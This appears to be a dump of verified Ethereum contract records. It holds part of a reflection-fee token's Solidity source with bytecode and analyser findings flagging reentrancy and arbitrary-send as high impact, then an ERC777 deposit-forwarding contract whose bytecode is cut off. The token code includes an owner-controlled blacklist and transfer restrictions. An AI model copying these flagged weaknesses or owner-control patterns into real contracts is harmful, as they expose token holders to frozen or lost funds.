restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f9578063c3c8cd8014610319578063c9567bf91461032e578063d543dbeb14610343578063dd62ed3e1461036357600080fd5b8063715018a6146102675780638da5cb5b1461027c57806395d89b41146102a4578063a9059cbb146102d957600080fd5b8063273123b7116100dc578063273123b7146101d4578063313ce567146101f65780635932ead1146102125780636fc3eaec1461023257806370a082311461024757600080fd5b806306fdde0314610119578063095ea7b31461015e57806318160ddd1461018e57806323b872dd146101b457600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600a815269111bd9da48111bdb9d5d60b21b60208201525b60405161015591906119f7565b60405180910390f35b34801561016a57600080fd5b5061017e610179366004611888565b6103a9565b6040519015158152602001610155565b34801561019a57600080fd5b50683635c9adc5dea000005b604051908152602001610155565b3480156101c057600080fd5b5061017e6101cf366004611848565b6103c0565b3480156101e057600080fd5b506101f46101ef3660046117d8565b610429565b005b34801561020257600080fd5b5060405160098152602001610155565b34801561021e57600080fd5b506101f461022d36600461197a565b61047d565b34801561023e57600080fd5b506101f46104c5565b34801561025357600080fd5b506101a66102623660046117d8565b6104f2565b34801561027357600080fd5b506101f4610514565b34801561028857600080fd5b506000546040516001600160a01b039091168152602001610155565b3480156102b057600080fd5b5060408051808201909152600c81526b444f47494e555420f09f8da960a01b6020820152610148565b3480156102e557600080fd5b5061017e6102f4366004611888565b610588565b34801561030557600080fd5b506101f46103143660046118b3565b610595565b34801561032557600080fd5b506101f4610639565b34801561033a57600080fd5b506101f461066f565b34801561034f57600080fd5b506101f461035e3660046119b2565b610a32565b34801561036f57600080fd5b506101a661037e366004611810565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b6338484610b05565b5060015b92915050565b60006103cd848484610c29565b61041f843361041a85604051806060016040528060288152602001611bc8602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610b05565b5060019392505050565b6000546001600160a01b0316331461045c5760405162461bcd60e51b815260040161045390611a4a565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104a75760405162461bcd60e51b815260040161045390611a4a565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104e557600080fd5b476104ef81611075565b50565b6001600160a01b0381166000908152600260205260408120546103ba906110fa565b6000546001600160a01b0316331461053e5760405162461bcd60e51b815260040161045390611a4a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b6338484610c29565b6000546001600160a01b031633146105bf5760405162461bcd60e51b815260040161045390611a4a565b60005b8151811015610635576001600a60008484815181106105f157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062d81611b5d565b9150506105c2565b5050565b600c546001600160a01b0316336001600160a01b03161461065957600080fd5b6000610664306104f2565b90506104ef8161117e565b6000546001600160a01b031633146106995760405162461bcd60e51b815260040161045390611a4a565b600f54600160a01b900460ff16156106f35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610453565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107303082683635c9adc5dea00000610b05565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076957600080fd5b505afa15801561077d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a191906117f4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e957600080fd5b505afa1580156107fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082191906117f4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086957600080fd5b505af115801561087d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a191906117f4565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108d1816104f2565b6000806108e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094957600080fd5b505af115801561095d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098291906119ca565b5050600f8054673afb087b8769000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106359190611996565b6000546001600160a01b03163314610a5c5760405162461bcd60e51b815260040161045390611a4a565b60008111610aac5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610453565b610aca6064610ac4683635c9adc5dea0000084611323565b906113a2565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610453565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610453565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610453565b6001600160a01b038216610cef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610453565b60008111610d515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610453565b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610fde57600f54600160b81b900460ff1615610e64576001600160a01b0383163014801590610db657506001600160a01b0382163014155b8015610dd05750600e546001600160a01b03848116911614155b8015610dea5750600e546001600160a01b03838116911614155b15610e6457600e546001600160a01b0316336001600160a01b03161480610e245750600f546001600160a01b0316336001600160a01b0316145b610e645760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610453565b601054811115610e7357600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610eb557506001600160a01b0382166000908152600a602052604090205460ff16155b610ebe57600080fd5b600f546001600160a01b038481169116148015610ee95750600e546001600160a01b03838116911614155b8015610f0e57506001600160a01b03821660009081526005602052604090205460ff16155b8015610f235750600f54600160b81b900460ff165b15610f71576001600160a01b0382166000908152600b60205260409020544211610f4c57600080fd5b610f5742603c611aef565b6001600160a01b0383166000908152600b60205260409020555b6000610f7c306104f2565b600f54909150600160a81b900460ff16158015610fa75750600f546001600160a01b03858116911614155b8015610fbc5750600f54600160b01b900460ff165b15610fdc57610fca8161117e565b478015610fda57610fda47611075565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061102057506001600160a01b03831660009081526005602052604090205460ff165b15611029575060005b611035848484846113e4565b50505050565b6000818484111561105f5760405162461bcd60e51b815260040161045391906119f7565b50600061106c8486611b46565b95945050505050565b600c546001600160a01b03166108fc61108f8360026113a2565b6040518115909202916000818181858888f193505050501580156110b7573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110d28360026113a2565b6040518115909202916000818181858888f19350505050158015610635573d6000803e3d6000fd5b60006006548211156111615760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610453565b600061116b611410565b905061117783826113a2565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561122857600080fd5b505afa15801561123c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061126091906117f4565b8160018151811061128157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546112a79130911684610b05565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112e0908590600090869030904290600401611a7f565b600060405180830381600087803b1580156112fa57600080fd5b505af115801561130e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600082611332575060006103ba565b600061133e8385611b27565b90508261134b8583611b07565b146111775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610453565b600061117783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611433565b806113f1576113f1611461565b6113fc848484611484565b80611035576110356005600855600a600955565b600080600061141d61157b565b909250905061142c82826113a2565b9250505090565b600081836114545760405162461bcd60e51b815260040161045391906119f7565b50600061106c8486611b07565b6008541580156114715750600954155b1561147857565b60006008819055600955565b600080600080600080611496876115bd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114c8908761161a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114f7908661165c565b6001600160a01b038916600090815260026020526040902055611519816116bb565b6115238483611705565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161156891815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea0000061159782826113a2565b8210156115b457505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115da8a600854600954611729565b92509250925060006115ea611410565b905060008060006115fd8e878787611778565b919e509c509a509598509396509194505050505091939550919395565b600061117783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b6000806116698385611aef565b9050838110156111775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610453565b60006116c5611410565b905060006116d38383611323565b306000908152600260205260409020549091506116f0908261165c565b30600090815260026020526040902055505050565b600654611712908361161a565b600655600754611722908261165c565b6007555050565b600080808061173d6064610ac48989611323565b905060006117506064610ac48a89611323565b90506000611768826117628b8661161a565b9061161a565b9992985090965090945050505050565b60008080806117878886611323565b905060006117958887611323565b905060006117a38888611323565b905060006117b582611762868661161a565b939b939a50919850919650505050505050565b80356117d381611ba4565b919050565b6000602082840312156117e9578081fd5b813561117781611ba4565b600060208284031215611805578081fd5b815161117781611ba4565b60008060408385031215611822578081fd5b823561182d81611ba4565b9150602083013561183d81611ba4565b809150509250929050565b60008060006060848603121561185c578081fd5b833561186781611ba4565b9250602084013561187781611ba4565b929592945050506040919091013590565b6000806040838503121561189a578182fd5b82356118a581611ba4565b946020939093013593505050565b600060208083850312156118c5578182fd5b823567ffffffffffffffff808211156118dc578384fd5b818501915085601f8301126118ef578384fd5b81358181111561190157611901611b8e565b8060051b604051601f19603f8301168101818110858211171561192657611926611b8e565b604052828152858101935084860182860187018a1015611944578788fd5b8795505b8386101561196d57611959816117c8565b855260019590950194938601938601611948565b5098975050505050505050565b60006020828403121561198b578081fd5b813561117781611bb9565b6000602082840312156119a7578081fd5b815161117781611bb9565b6000602082840312156119c3578081fd5b5035919050565b6000806000606084860312156119de578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a2357858101830151858201604001528201611a07565b81811115611a345783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ace5784516001600160a01b031683529383019391830191600101611aa9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b0257611b02611b78565b500190565b600082611b2257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b4157611b41611b78565b500290565b600082821015611b5857611b58611b78565b500390565b6000600019821415611b7157611b71611b78565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ef57600080fd5b80151581146104ef57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200fc1b7d50f15d3dbf24f71af33dc80750180deda5a9f4702d77f5c4e1faae80864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,902
0x0f37EbF8810AaeC48B0c7D9f1960978996548f4A
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC777 { function name() external view returns (string memory); function symbol() external view returns (string memory); function granularity() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function send( address recipient, uint256 amount, bytes calldata data ) external; function burn(uint256 amount, bytes calldata data) external; function isOperatorFor(address operator, address tokenHolder) external view returns (bool); function authorizeOperator(address operator) external; function revokeOperator(address operator) external; function defaultOperators() external view returns (address[] memory); function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } interface IERC777Recipient { /** * @dev Called by an {IERC777} token contract whenever tokens are being * moved or created into a registered account (`to`). The type of operation * is conveyed by `from` being the zero address or not. * * This call occurs _after_ the token contract's state is updated, so * {IERC777-balanceOf}, etc., can be used to query the post-operation state. * * This function may revert to prevent the operation from being executed. */ function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external; } interface IERC1820Registry { /** * @dev Sets `newManager` as the manager for `account`. A manager of an * account is able to set interface implementers for it. * * By default, each account is its own manager. Passing a value of `0x0` in * `newManager` will reset the manager to this initial state. * * Emits a {ManagerChanged} event. * * Requirements: * * - the caller must be the current manager for `account`. */ function setManager(address account, address newManager) external; /** * @dev Returns the manager for `account`. * * See {setManager}. */ function getManager(address account) external view returns (address); /** * @dev Sets the `implementer` contract as ``account``'s implementer for * `interfaceHash`. * * `account` being the zero address is an alias for the caller's address. * The zero address can also be used in `implementer` to remove an old one. * * See {interfaceHash} to learn how these are created. * * Emits an {InterfaceImplementerSet} event. * * Requirements: * * - the caller must be the current manager for `account`. * - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not * end in 28 zeroes). * - `implementer` must implement {IERC1820Implementer} and return true when * queried for support, unless `implementer` is the caller. See * {IERC1820Implementer-canImplementInterfaceForAddress}. */ function setInterfaceImplementer( address account, bytes32 _interfaceHash, address implementer ) external; /** * @dev Returns the implementer of `interfaceHash` for `account`. If no such * implementer is registered, returns the zero address. * * If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28 * zeroes), `account` will be queried for support of it. * * `account` being the zero address is an alias for the caller's address. */ function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address); /** * @dev Returns the interface hash for an `interfaceName`, as defined in the * corresponding * https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP]. */ function interfaceHash(string calldata interfaceName) external pure returns (bytes32); /** * @notice Updates the cache with whether the contract implements an ERC165 interface or not. * @param account Address of the contract for which to update the cache. * @param interfaceId ERC165 interface for which to update the cache. */ function updateERC165Cache(address account, bytes4 interfaceId) external; /** * @notice Checks whether a contract implements an ERC165 interface or not. * If the result is not cached a direct lookup on the contract address is performed. * If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling * {updateERC165Cache} with the contract address. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool); /** * @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache. * @param account Address of the contract to check. * @param interfaceId ERC165 interface to check. * @return True if `account` implements `interfaceId`, false otherwise. */ function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool); event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer); event ManagerChanged(address indexed account, address indexed newManager); } contract BlocksDeposit is IERC777Recipient, Ownable { using SafeMath for uint256; address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB; address public wallet; IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient"); event ERC20TokensRemoved(address tokenAddress, address sender, uint256 balance); event ERC777Send(address operator, address from, address to, uint256 amount, bytes userData, bytes operatorData); constructor(address _wallet) Ownable() { wallet = _wallet; _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function updateWallet(address _wallet) public onlyOwner { wallet = _wallet; } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external override { emit ERC777Send(operator, from, to, amount, userData, operatorData); IERC20(token).transfer(wallet, amount); emit ERC20TokensRemoved(token, to, amount); } }
0x608060405234801561001057600080fd5b506004361061007c5760003560e01c8063848b86e31161005b578063848b86e3146100c55780638da5cb5b146100e1578063f2fde38b146100ff578063fc0c546a1461011b5761007c565b806223de2914610081578063521eb2731461009d578063715018a6146100bb575b600080fd5b61009b600480360381019061009691906106e9565b610139565b005b6100a56102b6565b6040516100b291906108c6565b60405180910390f35b6100c36102dc565b005b6100df60048036038101906100da91906106c0565b610364565b005b6100e9610424565b6040516100f691906108c6565b60405180910390f35b610119600480360381019061011491906106c0565b61044d565b005b610123610545565b60405161013091906108c6565b60405180910390f35b7e933d6eca98ea809b3dd058376cecf99137b69a8cb360a7e33959e730f6753988888888888888886040516101759897969594939291906108e1565b60405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16876040518363ffffffff1660e01b81526004016101fc92919061098b565b602060405180830381600087803b15801561021657600080fd5b505af115801561022a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061024e91906107ac565b507f4c9443772ec3472e2ea8a88e5c31e6bb75e94541dc672d5ca2a1197ada10b598600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1687876040516102a493929190610954565b60405180910390a15050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6102e461056b565b73ffffffffffffffffffffffffffffffffffffffff16610302610424565b73ffffffffffffffffffffffffffffffffffffffff1614610358576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034f906109d4565b60405180910390fd5b6103626000610573565b565b61036c61056b565b73ffffffffffffffffffffffffffffffffffffffff1661038a610424565b73ffffffffffffffffffffffffffffffffffffffff16146103e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103d7906109d4565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61045561056b565b73ffffffffffffffffffffffffffffffffffffffff16610473610424565b73ffffffffffffffffffffffffffffffffffffffff16146104c9576040517f08c379a0000000000000000000000000000000000000000